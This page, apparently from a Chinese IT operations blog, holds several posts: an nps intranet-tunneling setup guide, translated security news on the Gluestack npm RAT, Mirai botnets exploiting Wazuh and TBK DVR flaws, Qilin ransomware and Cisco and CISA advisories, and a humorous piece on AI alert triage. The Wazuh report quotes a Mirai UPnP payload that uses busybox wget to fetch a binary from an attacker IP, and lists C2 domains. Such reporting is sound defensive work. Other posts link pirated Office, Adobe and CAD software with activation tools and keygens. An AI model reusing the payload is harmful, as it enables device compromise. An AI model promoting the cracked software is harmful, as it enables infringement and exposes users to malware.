匠心运维 | 匠心网|互联网技术平台

搭建nps内网穿透服务

环境介绍：服务运行系统为：CentOS7.6 客户端运行环境为：CentOS7.6 　　nps安装包：　　　下载地址：https://github.com/ehang-io/nps/releases 　　根据操作系统情况选择，本次搭建以一下版本为例子。　　一、服务端搭建　　1、在服务器上创建一个nps服务端安装目录 mkdir -p /opt/nps_server 　　　　2、将nps安装文件解压到/opt/nps_server tar zxf linux_amd64_server.tar.gz -C /opt/nps_server 　　　　3、安装nps ./nps install 　　　　　　　　安装成功后会出现install ok！的日志信息，以及下列的nps基本操作信息。　　　　4、nps配置,这里主要是介绍设置平台的用户名和密码及访问端口。 vim /etc/nps/conf/nps.conf 　　　　　　　　5、启动nps服务,并查看是否启动成功 ./nps start ps aux | grep nps 　　　　　　　　有nps进程，说明启动成功　　　　6、在浏览器中输入服务器ip地址和web访问端口，访问nps服务web管理平台，并登陆　　　　　　　7、创建客户端　　　　8、写入备注，点击新增。　　　　9、新增隧道　　10、填写备注、服务端口、目标端口，然后点击新增。　　　　其中，服务端端口为穿透到公网的端口（外网要访问你的服务就需要访问这个端口），目标端口为你客户端服务器上的端口。　　　　11、在客户端列表中，点击客户端，复制好客户端的运行命令和参数。二、linux客户端搭建　　1、创建一个nps客户端安装目录 mkdir /opt/nps_client 　　　　2、将nps客户端移动到安装目录下，并解压 mv linux_amd64_client.tar.gz /opt/nps_client cd /opt/nps_client tar zxf linux_amd64_client.tar.gz 　　　　3、进入到nps客户端的安装目录，运行服务端提供的命令 cd /opt/nps_client ./npc -server=172.10.1.66:8024 -vkey=nzblg8hzpoikful9 -type=tcp 　　　　4、通过外网服务器ip和在创建隧道中配置的服务端端口，就可以内网服务器了。

2025-07-03

4

office 下载分享

Office 2013-2021 C2R Install 7.4.5 汉化版高速网盘下载：https://cygj.lanzouw.com/iKf0J0e99e4b 说明：Office 2013-2021完整版下载，安装，激活工具。建议下载office后留着备用，激活windows的工具一般能激活office OFFICE 2021 LTSC 完整版（含Project 2021，可选安装） 2024年5月版高速网盘下载：https://www.123pan.com/s/x5YRVv-hMlGA.html 2022年9月版高速网盘下载：https://www.123pan.com/s/x5YRVv-v00GA 提示：解压后再进行安装，安装完自动优化。安装教程。需要额外激活，使用系统激活工具HEU_KMS_Activator可激活(常用工具有下载）（系统中的win10激活工具有带，使用它的office激活功能即可） Office 2016/2019/2021 批量授权版（完整版）高速网盘下载：https://www.123pan.com/s/x5YRVv-2c0GA 提示：解压后再进行安装 OFFICE 2007 完整版右键迅雷下载：点击这里用迅雷下载百度网盘下载：https://pan.baidu.com/s/1ThNo2bAPF3PTasq1MncDsA 提示：一般情况下精简版的功能足够用，完整版为特殊情况下备用 OFFICE 2003 完整版百度网盘下载：https://pan.baidu.com/s/1G_MwDs5kZlCBARR5HbYzoQ 提示：一般情况下精简版的功能足够用，完整版为特殊情况下备用 Office 2003兼容Office 2007文件格式兼容包第3版高速网盘下载：https://cygj.lanzn.com/iGFdB1vk1t1e 提示：Office 2003打开Office 2007文件需要兼容包才能打开。 OFFICE 2016 四合一精简版高速网盘下载：https://www.123pan.com/s/x5YRVv-eTUGA.html 提示：OFFICE 2016建议在win10中使用，需要额外激活。 OFFICE 2010 三合一免激活精简版（完美）高速网盘下载：https://cygj.lanzouw.com/iGh1q1g9y0xe 提示：本版本为2345dn根据xb21的精简版修复多开后重新打包的版本。本版本无须激活，安装完即可使用。 OFFICE 2010 四合一精简版百度网盘下载：https://pan.baidu.com/s/1vq2waCK-gkb8ZqklQdP4sg 提取码: js98 提示：此软件失效比较快，建议转存好。OFFICE 2010建议在win10中使用，需要额外激活。 OFFICE 2010 完整版百度网盘下载：https://pan.baidu.com/s/1C_qHt8y0mFuEbj5H9mX0AQ 提取码: gkmx 提示：此软件失效比较快，建议转存好。OFFICE 2010建议在win10中使用，需要额外激活。附带激活工具与说明。 Microsoft Project 2016 完整版高速网盘下载：https://www.123pan.com/s/x5YRVv-FPKGA.html WPS2019 专业增强版高速网盘下载：https://www.123pan.com/s/x5YRVv-o5lGA.html 提取码:yssl office彻底卸载清理工具(Office2003/2007/2010/2013清除工具集) 百度网盘下载：https://pan.baidu.com/s/1pKWRY8z 高速网盘下载：https://cygj.lanzoui.com/iMaYjtqtd0h 说明：解决提示“不能安装64位版本的office 2010,因为您当前已经安装了32位的office产品。64位安装不支持32位产品安装。”问题。主要由于没有注册表没有卸载干净导致，先使用普通卸载功能卸载后，再对应版本运行此工具。

2025-06-30

2

设计软件集合

Adobe Photoshop 2024 v25.9.0 特别版网盘下载：https://www.123pan.com/s/x5YRVv-PMlGA.html 说明：无 Adobe Photoshop CS6 绿色版高速网盘下载：https://cygj.lanzouw.com/iT0cK0aw3hra 百度网盘下载：https://pan.baidu.com/s/1boUpIer 说明：Adobe Photoshop CS6 绿色版经典的图片处理软件。 photoshop 7.01 高速网盘下载：https://cygj.lanzouw.com/ifaoY0aw6xyb 说明：经典的photoshop版本，处理图片用。 CAD2015 64位百度网盘下载：https://pan.baidu.com/s/1NjHVh7yUxGLWQyekRPKo0g 提取码: vchn 注册机下载：https://pan.baidu.com/s/1TDiFWiEABC9Na44l2aq79g 提取码: jk3w 说明：安装完CAD后，打开CAD，激活时，先运行激活工具，点击Patch，再进行算号激活。 CAD2020 64位（轻度精简版）高速网盘下载：https://www.123pan.com/s/x5YRVv-Nn0GA 提取码: lWZa 百度网盘下载：https://pan.baidu.com/s/1ZBOwuE-b7bLSvumx8TIsAA 提取码: wg0c 说明：请解压后再安装，建议断网安装，安装完成后即可直接使用，无须额外激活。（win7需要安装net4.7，所以建议用集成net4.8版本） CAD2022完整版+注册机高速网盘下载：https://www.123pan.com/s/x5YRVv-9w0GA 提取码: xufU 说明：系统要求，Windows 10或更高版（先看激活教程不吃亏） CAD2023精简优化版高速网盘下载：https://www.123pan.com/s/x5YRVv-jJuGA.html 提取码: xna2 说明：系统要求，Windows 10或更高版（系统未带Microsoft Edge WebView2，请先安装MicrosoftEdgeWebView2RuntimeInstallerX64.exe，再安装AutoCAD_2023.0.1_x64_Lite.exe即可使用） Autodesk 3ds Max 2021 免激活绿色精简版百度网盘下载：https://pan.baidu.com/s/1mPqNUltGd7VgSLrSZzbeMw 提取码: li84 说明：3Dmax，专业三维动画、渲染和模型软件。 Autodesk 3DS MAX 2022特别版右键迅雷下载：请使用迅雷下载说明：3Dmax，专业三维动画、渲染和模型软件。此版本未测试，有下载使用的朋友反馈一下。 SOLIDWORKS 2018 SP5 中文精简版 3.73G 高速网盘下载：https://www.123pan.com/s/x5YRVv-Q20GA 提取码: 3cHr 说明：简称SW，三维机械设计软件，3D CAD 设计软件 SOLIDWORKS 2021 SP5.1 x64 破解版 15.5G 高速网盘下载：https://www.123pan.com/s/x5YRVv-920GA 提取码: prZj 说明：简称SW，三维机械设计软件，3D CAD 设计软件

2025-06-30

3

威胁行为者针对 Gluestack 软件包发起供应链攻击，每周有超过 95 万次的下载面临风险

译文声明本文是翻译文章，文章原作者劳伦斯艾布拉姆斯，文章来源：bleepingcomputer 原文地址：https://www.bleepingcomputer.com/news/security/supply-chain-attack-hits-gluestack-npm-packages-with-960k-weekly-downloads/ 译文仅供参考，具体内容表达以及含义原文为准。在17个受欢迎的Gluestack’@react-native-aria’套餐下载量超过100万次之后,NPM遭到重大供应链攻击,其中包括充当远程访问木马(RAT)的恶意代码。 BleepingComputer确定,妥协始于美国东部时间6月6日下午4:33,当时向NPM发布了新版本的@react-native-aria /焦点包。从那以后,20个Gluestack @react-native-aria packages@react-native-aria软件包中有17个在NPM上受到损害,威胁行为者最近在两小时前发布了新版本。恶意代码添加到index.js文件的末尾图片来源:BleepingComputer 合气道告诉BleepingComputer,another NPM compromise they discovered恶意代码几乎与上个月发现的另一个NPM妥协中的远程访问木马相同。研究人员对之前战役的分析解释说,远程访问木马将连接到攻击者的命令和控制服务器,并接收命令执行。这些命令包括: ①cd – 更改当前工作目录②ss_dir – 将目录重置为脚本的路径③ss_fcd:<path> – 强制更改目录到 <path>④ss_upf:f,d – 将单个文件 f 上传到目标 d⑤ss_upd:d, dest – 将目录 d 下的所有文件上传到目标 dest⑥ss_stop – 设置停止标志以中断当前上传过程⑦任何其他输入 – 被视为 shell 命令,通过 child_process.exec() 执行该木马还通过将假Python路径(%LOCALAPPDATA%\Programs\Python\Python3127)添加到PATH环境变量来执行Windows PATH劫持,允许恶意软件静默覆盖合法python或pip命令以执行恶意二进制文件。合气道安全研究员查理·埃里克森(Charlie Eriksen)试图通过在每个项目的存储库上创建GitHub问题来联系Gluestack,GitHub issues但目前没有任何回应。 “包裹维护者没有回应(美国星期六的早晨,现在正是它发生的原因),”合气道告诉BleepingComputer。 “我们联系并报告了每个包裹的NPM,这个过程通常需要几天的时间才能解决NPM。合气道还将这次袭击归因于本周早些时候入侵其他四个NPM包的相同威胁行为者,称为biatec-avm-gas-station,cputil-node,lfwfinance / sdk和lfwfinance / sdk-dev。 BleepingComputer联系了Gluestack关于受损包裹的问题,但目前尚未收到回复。

2025-06-30

3

威胁行为者针对 Gluestack 软件包发起供应链攻击，每周有超过 95 万次的下载面临风险

AI智能体终结运维"狼来了"

序言 “狼来了” “叮咚！CPU使用率超过90%！” “叮咚！内存占用达到80%！” “叮咚！连接池资源空闲数低于5%！” 凌晨3点，我们的老演员，运维工程师小李，再次被钉钉机器人中监控的Prometheus的告警吵醒，他盯着手机屏幕，眼神呆滞，本着“小心驶得万年船，不可让一个故障漏网”的原则，他还是艰难地对抗了睡意，把所有系统健康指标进行逐一排查，如期所料，又是一起误报。 “悠悠苍天，何薄于我？这玩意监控了个寂寞呀。” 告警对于广大运维人员来说，真的是又爱又恨，不用长时间监控系统有异常之后通知运维人员，极大的节省了时间，但随着设备规模的大量增加，原本较少误报突然呈现了爆炸式的增长，从而使得“狼来了”式的告警逐渐降低了运维人员的警惕阈值，从而使得正真的故障狼来了之时，运维人员可能还蒙在鼓里，毫无反应。前章 “AI智能体” AI时代，是否有更好的解决方案？热烈欢迎本场的主角“AI智能体”上线。 AI智能体，通常是指能够感知环境、自主决策并执行动作以实现特定目标的一类人工智能系统。该系统结合了感知、推理、学习和行动能力，可以独立或在人工协同指导下完成任务。那么如何通过构建AI智能体来处理Prometheus的告警呢？基本可以遵循如下的功能模块来处置。 ▍一、感知模块负责接收和处理来自环境的各类信息，为后续决策提供所需的数据支持。该部分的准确性和敏感度会直接影响到后续的处理。常见的感知模块一般可以使用如下方式：文本感知：NLP模型（BERT/GPT）图像感知：CV模型（YOLO/ResNet）语音感知：ASR系统 ▍二、认知引擎负责记录相关故障处置的上下文信息及对应处置经验。按照信息存活时间及相关信息的固化特征可以分为：短期记忆：对话上下文管理（LSTM/Transformer）长期记忆：一般使用知识图谱、向量数据库在构建对应的认知记忆过程需要遵循严格的标准，比如在AI智能体在处理Prometheus告警时，需要考虑如下的因素：历史性：异常指标是否在相同周期内出现全局性：异常指标在集群架构下影响力价值性：何种严重程度需要提示为告警，把小李从床上拉起来基础信息：持续时间、严重程度关联关系：服务组来源信息同时对于告警的处置结果执行方式也分为三个星级：一星告警：”嗯。”（记录日志完事）二星告警：”嗯？”（发个Slack消息）三星告警：”啊！”（打电话+发短信+在办公室拉防空警报） ▍三、决策中心该模块通过综合考虑各种因素，运用逻辑推理和概率统计等方法，做出最优决策。在大模型逐渐成熟的当下，该部分主要由各大模型来扮演，如DeepSeek、GPT等，相关介绍材料很多，在此不再赘述。 ▍四、执行模块依据决策中心提供的处理意见完成对应处理工作，设计的核心是完成与相关业务系统的交互与联动，通常可以通过如下方式完成： API调用：OpenAPI规范封装 RPA操作：Playwright/Airflow集成执行模块是最终呈现处置的关键部分，最终来衡量AI智能体在过程中非人工介入程度，与工具的对接的丰富度及耦合度决定了执行的准确性。 ▍五、反馈系统实现系统的持续自我优化，通过计算关键指标（如任务完成率、耗时）来进行效果评估。常见的模型更新：在线学习：Bandit算法实时调整策略离线训练：每周全量数据retraining 终章 “不看广告，看疗效” ▍第一回合：CPU使用率告警 Prometheus：”报！CPU冲到95%了！” AI：”淡定，这是每日报表生成时间，你家CPU在996呢” 结果：标记为”预期波动”，Slack发个已处理消息 ▍第二回合：磁盘空间不足 Prometheus：”急急急！/var只剩5%了！” AI：”（查看历史记录）发现这个分区每周三都会这样…等等，日志轮转脚本又睡懒觉了？” 结果：自动触发日志清理脚本，并在Jira创建工单：”日志轮转脚本又双叒叕偷懒了” ▍第三回合：数据库连接池耗尽 Prometheus：”药丸！连接池100%了！” AI：”（0.1秒内扫描全链路）前端流量激增→促销活动忘了限流→这不是故障，这是KPI在发光啊！” 结果：自动扩容数据库实例+@市场部：”亲，下次搞活动记得提前说哦~” 写在最后：AI不是终点，而是起点记住：再智能的AI也干不过写bug的程序员再精准的过滤也挡不住老板的突发奇想最好的监控系统也永远有一个会骂“这什么破AI”的幕后运维小李在完成该文章的过程中，消耗了作者4杯咖啡和12次对Prometheus的告警的亲切问候。本文由易安联零信任原创发布转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/308218

2025-06-30

重要的 Wazuh RCE (CVE-2025-24016) 被 Mirai 僵尸网络积极利用

译文声明本文是翻译文章，文章原作者 Ddos，文章来源：securityonline 原文地址：https://securityonline.info/critical-wazuh-rce-cve-2025-24016-actively-exploited-by-mirai-botnets/ 译文仅供参考，具体内容表达以及含义原文为准。 Akamai 的安全智能和响应团队 (SIRT) 发现了 CVE-2025-24016 的主动利用,这是 Wazuh 服务器中一个关键的远程代码执行 (RCE) 漏洞,由多个基于 Mirai 的僵尸网络使用。该漏洞的CVSS得分为9.9,允许远程攻击者通过Wazuh Distributed API中未经消毒的JSON输入执行任意Python代码。 “这是自2025年2月首次披露以来首次报告积极利用此漏洞,”Akamai在报告中写道。 CVE-2025-24016于2025年2月披露,影响Wazuh版本4.4.0至4.9.0,并允许攻击者通过向/security/user/authenticate/run_as端点制作恶意run_as请求来实现RCE。该漏洞源于Wazuh在Python中使用as_Wazuh_object()去序列化方法,该方法无法对字典输入进行消毒。 “这可以通过向DAPI请求注入未经消毒的字典来利用,这可能导致对任意Python代码的评估,”报告解释说。 Akamai 利用此漏洞识别了两个不同的僵尸网络活动,两者都使用 Mirai 恶意软件的变体。第一波浪潮出现在2025年3月初,在CVE公开披露后不久,针对物联网设备提供一套特定于架构的二进制文件。被称为“morte”的恶意软件是LZRD Mirai家族的一部分,以其控制台字符串“lzrd here”而闻名。 “漏洞利用获取并执行恶意shell脚本,作为主要Mirai恶意软件有效载荷的下载器,”报告解释说。相关基础设施包括: ①C2 Domain: nuklearcnc.duckdns[.]org ②有效载荷服务器:176.65.134[。62 ③附加域名: cbot.galaxias[.]cc, neon.galaxias [.]cc, pangacnc[.]com 2025 年 5 月,Akamai 观察到第二个僵尸网络被称为“Resbot”,它利用了相同的漏洞,但使用了 gestisciweb.com 等意大利风格的域名,建议针对讲意大利语的用户。恶意软件“resgod”打印控制台字符串“Resentual get you!执行时,还针对多个 CPU 架构。其C2通过TCP端口62627硬编码为104.168.101[.]27。 “它使用各种域来传播恶意软件,这些恶意软件都具有意大利术语……可能暗指受影响的设备所有者所说的目标地理或语言,”报告指出。除了CVE-2025-24016之外,还观察到僵尸网络与过去几年的漏洞利用有关,包括: ①CVE-2023-1389(TP-Link) ②CVE-2017-17215(华为HG532) ③CVE-2017-18368(D-Link) ④针对 Ivanti、UPnP 和 YARN API 的开发通过 SOAP 为 UPnP 利用专门制作的一个攻击字符串包含此有效载荷: <NewStatusURL>$(/bin/busybox wget -g 104.168.101[.]27 -l /tmp/.kx -r /resgod.mips)</NewStatusURL> 这些行动强调了资源充足和自动化的进攻性攻势,以损害暴露和过时的基础设施。

2025-06-30

重要的 Wazuh RCE (CVE-2025-24016) 被 Mirai 僵尸网络积极利用

新型 Mirai 僵尸网络通过命令注入漏洞感染 TBK DVR 设备

译文声明本文是翻译文章译文仅供参考，具体内容表达以及含义原文为准。 Mirai恶意软件僵尸网络的一个新变体正在利用TBK DVR-4104和DVR-4216数字视频录制设备中的命令注入漏洞来劫持它们。 CVE-2024-3721CVE-2024-3721下跟踪的漏洞是安全研究员 " netsecfish " 于2024年4月披露的命令注入漏洞。研究人员当时发布的概念验证(PoC)以特制的POST请求的形式出现,通过操纵某些参数(mdb和mdc)实现shell命令执行。卡巴斯基现在报告说,在其Linux蜜罐中,使用netsecfish的PoC从新的Mirai僵尸网络变体中捕获了CVE-2024-3721的积极开发。攻击者利用该漏洞删除了ARM32恶意软件二进制文件,该二进制文件与命令和控制(C2)服务器建立通信,以将设备引入僵尸网络。从那里,该设备可能用于进行分布式拒绝服务(DDoS)攻击,代理恶意流量和其他行为。攻击影响和修复尽管netsecfish去年报告称,约有114,000台互联网暴露的DVR容易受到CVE-2024-3721的影响,但卡巴斯基的扫描显示约有50,000台暴露设备,这仍然很重要。这家俄罗斯网络安全公司认为,大多数感染与最新的Mirai变种影响中国,印度,埃及,乌克兰,俄罗斯,土耳其和巴西有关。然而,这是基于卡巴斯基的遥测,由于其消费者安全产品在许多国家被禁止,这可能不能准确反映僵尸网络的定位重点。目前,尚不清楚该供应商TBK Vision是否已发布安全更新以解决CVE-2024-3721漏洞,或者是否仍未修补。BleepingComputer联系了TBK询问此事,但我们仍在等待他们的回复。值得注意的是, DVR-4104和DVR-4216已经以Novo,CeNova,QSee,Pulnix,XVR 5 in 1,Securus,Night OWL,DVR登录,HVR登录和MDVR品牌广泛重新命名,因此受影响设备的补丁可用性是一个复杂的问题。披露TBK Vision漏洞的研究人员发现了其他缺陷,这些缺陷去年助长了对报废设备的利用。具体来说披露了后门帐户问题和命令注入漏洞,影响了2024年数以万计的EoL D-Link设备。在PoC披露后仅几天就发现了这两种情况的积极利用。这显示了恶意软件作者将公共漏洞整合到其武器库中的速度。

2025-06-30

Qilin勒索软件攻击利用了Fortinet的关键漏洞

奇林勒索软件操作最近加入了利用两个Fortinet漏洞的攻击,这些漏洞允许绕过易受攻击的设备上的身份验证并远程执行恶意代码。齐林(也追踪为幻影螳螂)于2022年8月浮出水面,作为“议程”名称的勒索软件即服务(RaaS)运营,此后声称对其暗网泄漏网站上的310多名受害者负责。 Yangfeng其受害者名单还包括汽车巨头杨风、出版巨头Lee Enterprises、澳大利亚Court Services Victoria和病理学服务提供商Synnovis等知名组织。pathology services provider SynnovisSynnovis事件影响了伦敦的几家主要NHS医院,迫使他们取消了数百次预约和手术。威胁情报公司PRODAFT发现了针对几个Fortinet漏洞的新的和部分自动化的齐林勒索软件攻击,还透露,威胁行为者目前专注于来自西班牙语国家的组织,但他们预计该活动将在全球范围内扩大。幻影螳螂最近在2025年5月至6月期间针对多个组织发起了一场协调的入侵活动。我们适度自信地评估,通过利用几个FortiGate漏洞实现初始访问,包括CVE-2024-21762,CVE-2024-55591等,“PRODAFT在与BleepingComputer共享的私人闪光警报中说。 “我们的观察表明,正如下表所列数据所反映的那样,对西班牙语国家特别感兴趣。然而,尽管有这种区域重点,我们评估该集团继续机会性地选择其目标,而不是遵循严格的地理或基于部门的目标模式。这场运动中滥用的缺陷之一,被追踪为CVE-2024-55591,也被其他威胁组织利用为零日,以破坏FortiGate防火墙,直到2024年11月。Mora_001勒索软件运营商还用它来部署与Forescout研究人员臭名昭着的LockBit网络犯罪团伙相关的SuperBlack勒索软件。这些Qilin勒索软件攻击(CVE-2024-21762)中利用的第二个Fortinet漏洞于2月进行修补,CISA将其添加到其积极利用的安全漏洞目录中,并命令联邦机构在2月16日之前保护其FortiOS和FortiProxy设备。差不多一个月后,影子服务器基金会宣布,发现近15万台设备仍然容易受到CVE-2024-21762攻击。 Fortinet安全漏洞经常在网络间谍活动中被利用(通常为零天),并在勒索软件攻击中破坏企业网络。例如,今年2月,Fortinet披露,中国Volt Typhoon黑客组织使用两个FortiOS SSL VPN漏洞(CVE-2022-42475和CVE-2023-27997)来部署Coathanger自定义远程访问木马(RAT)恶意软件,该恶意软件以前曾用于荷兰国防部军事网络的后门。本文由安全客原创发布转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/308307

2025-06-30

思科警告 ISE 和 CCP 存在公开漏洞代码

译文声明本文是翻译文章，文章原作者 Sergiu Gatlan，文章来源：bleepingcomputer 原文地址：https://www.bleepingcomputer.com/news/security/cisco-warns-of-ise-and-ccp-flaws-with-public-exploit-code/ 译文仅供参考，具体内容表达以及含义原文为准。思科发布了补丁,以解决其身份服务引擎(ISE)和客户协作平台(CCP)解决方案中公共利用代码的三个漏洞。最严重的是CVE-2025-20286,由GMO Cybersecurity的Kentaro Kawane在Cisco ISE中发现。这种基于身份的策略执行软件在企业环境中提供端点访问控制和网络设备管理。该漏洞是由于在云平台上部署 Cisco ISE 时生成的凭据不正确,导致跨不同部署共享凭据。未经身份验证的攻击者可以通过从 Cisco ISE 云部署中提取用户凭据并使用它们访问其他云环境中的安装来利用它。然而,正如Cisco所解释的那样,只有当主管理节点部署在云中时,威胁行为者才能成功利用此漏洞。 “Cisco Identity Services Engine (ISE)的Amazon Web Services(AWS),Microsoft Azure和Oracle Cloud Infrastructure(OCI)云部署中的漏洞可能允许未经身份验证的远程攻击者访问敏感数据,执行有限的管理操作,修改系统配置或破坏受影响系统内的服务。 “Cisco PSIRT 知道概念验证漏洞漏洞可用于本咨询中描述的漏洞。思科补充说,以下ISE部署不容易受到攻击: ①所有本地部署,具有从 Cisco Software Download Center (ISO 或 OVA)安装工件的任何外形因素。这包括具有不同外形尺寸的电器和虚拟机。②Azure VMware 解决方案 (AVS)③Google Cloud VMware 引擎④AWS 中的 VMware 云上的 ISE⑤ISE 混合部署,所有 ISE 管理员角色(主要和次要管理)在内部部署,以及云中的其他角色。该公司建议仍在等待修补程序的管理员,或者无法立即应用今天发布的修补程序在Primay Administration persona clushous节点上运行应用程序重置-config ise命令,以将用户密码重置为新值。但是,管理员也应该意识到此命令将Cisco ISE重置为出厂配置,并且恢复备份也将恢复原始凭据。今天修补的概念验证漏洞漏洞的另外两个安全漏洞是思科ISE中的任意文件上传(CVE-2025-20130)和思科客户协作平台(前身为思科SocialMiner)中的信息披露(CVE-2025-20129)。今年9月,思科修补了另一个ISE漏洞,这是一个带有公共漏洞代码的命令注入漏洞,可以让攻击者升级特权以在未修补的系统上生根。

2025-06-30

CISA 警告 ConnectWise ScreenConnect 漏洞被利用进行攻击

译文声明本文是翻译文章，文章原作者 Ionut Ilascu，文章来源：bleepingcomputer 原文地址：https://www.bleepingcomputer.com/news/security/cisa-warns-of-connectwise-screenconnect-bug-exploited-in-attacks/ 译文仅供参考，具体内容表达以及含义原文为准。 CISA正在提醒美国联邦机构黑客利用最近修补的ScreenConnect漏洞,可能导致在服务器上执行远程代码。该机构警告说,影响华硕路由器和Craft内容管理系统(CMS)的其他四个安全问题也被积极利用。 ConnectWise ScreenConnect 中的身份验证不当 4 月 24 日,ConnectWise 解决了 CVE-2025-3935 跟踪的安全问题,指出该漏洞可能被用于 ViewState 代码注入攻击。供应商指出,ASP.NET Web Forms 依赖于 ViewState 组件来使用受机器密钥保护的 base64 编码数据来保存页面和控制状态。如果具有特权访问权限的攻击者破坏了机器密钥,则可以通过恶意有效载荷触发服务器上的远程代码执行。继最近的ConnectWise漏洞之后,一些客户表示该事件可能与CVE-2025-3935有关。然而,ConnectWise没有对攻击方法或妥协的性质发表评论。多份报告指出,ConnectWise发现“极少数ScreenConnect客户”受到影响。华硕和Craft CMS中的关键错误在本周的警报中,CISA还警告威胁行为者利用华硕路由器和Craft CMS中的四个漏洞,其中两个至关重要: ①CVE-2021-32030(9.8 严重严重评分):允许在华硕GT-AC2900和Lyra Mini设备中绕过身份验证②CVE-2023-39780 (8.8 高分数 ) : 在华硕 RT-AX55 中注入操作系统,需要身份验证③CVE-2024-56145(9.3 严重严重评分):在 Craft CMS 中输入代码,在特定条件下可能导致远程代码执行④CVE-2025-35399(6.9中等严重程度评分):未经身份验证的客户端可以向Craft CMS服务器上的已知文件位置引入PHP代码影响华硕RT-AX55设备的漏洞在过去几个月中被用于隐身攻击,这些攻击似乎是“资源充足且能力很强的对手”。在上周的一份报告中,网络安全平台GreyNoise表示,黑客已经将CVE-2023-39780漏洞与身份验证旁路技术联系起来,这些技术没有分配CVE来形成名为AyySSHush的僵尸网络。 CISA将五个安全问题添加到其已知受剥削脆弱性(KEV)目录中,并预计联邦机构将在6月23日之前实施供应商建议的缓解措施或停止使用受影响的产品。

2025-06-30

搭建nps内网穿透服务

office 下载分享

设计软件集合

威胁行为者针对 Gluestack 软件包发起供应链攻击，每周有超过 95 万次的下载面临风险

AI智能体终结运维"狼来了"

重要的 Wazuh RCE (CVE-2025-24016) 被 Mirai 僵尸网络积极利用

新型 Mirai 僵尸网络通过命令注入漏洞感染 TBK DVR 设备

Qilin勒索软件攻击利用了Fortinet的关键漏洞

思科警告 ISE 和 CCP 存在公开漏洞代码

CISA 警告 ConnectWise ScreenConnect 漏洞被利用进行攻击

教科书级别的理解：到底什么是 Vlan、三层交换机、网关与DNS？

威胁行为者针对 Gluestack 软件包发起供应链攻击，每周有超过 95 万次的下载面临风险

MySQL 日常如何查找并删除重复行

10亿数据如何最快速插入MySQL？

openwrt无法进入登录界面